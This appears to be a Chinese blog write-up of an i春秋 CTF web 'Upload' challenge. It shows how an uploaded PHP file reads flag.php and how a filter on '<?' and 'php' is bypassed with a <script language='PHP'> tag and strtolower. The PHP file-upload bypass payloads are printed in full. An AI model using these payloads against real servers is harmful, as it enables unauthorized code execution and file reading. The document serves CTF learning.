乔悟空-CTF-i春秋-Web-Upload
2020.09.03
ai 做过的题,两天不看就忘了……
做题
题目
thinking……
-
打开网站
-
告诉了文件在flag.php中,所以写个php,把flag.php文件读取出来就行
盗来的php
<?php
$ctx = stream_context_create(array(
'http' => array(
'timeout' => 1 //设置超时
)
)
);
echo file_get_contents("flag.php", 0, $ctx);
?>
这里一开始直接在连接后边访问上传的文件,访问不到……后来发现是上传到
/u
目录下了……
访问输出:
很明显能看出来这是把php的头给过滤了,然后找到了以下代码来代替
- 绕过
php
和<?
过滤
代码如下:
<script language='PHP'>
echo file_get_contents("../flag.".strtolower("PHP"));
</script>
经过测试,有几点要说:
- 上边我本来把flag.php改成flag.pHp,但是并不能成功,说明文件系统对文件后缀名也是有区分的。
- 文件被上传的路径可以通过表单源码进行查看
- ../
就是上一层目录下的文件
- 结果
总结
- php读取文件的几种方式
- fread、fgets、fgetss、file、readfile、file_get_contents、fpassthur
- 详细链接
<?
被过滤,用script
标签来绕过php
被过滤,用大写来绕过,可以用strtolower()
来变成小写- 服务器中文件,后缀名大小写也会有影响
开心就完事了🥱
赠人玫瑰🌹手有余香
能帮到你我很高兴
您的赞👍是我前进的动力,奥力给
Thanks for watching!
赠人玫瑰🌹手有余香
能帮到你我很高兴
您的赞👍是我前进的动力,奥力给
Thanks for watching!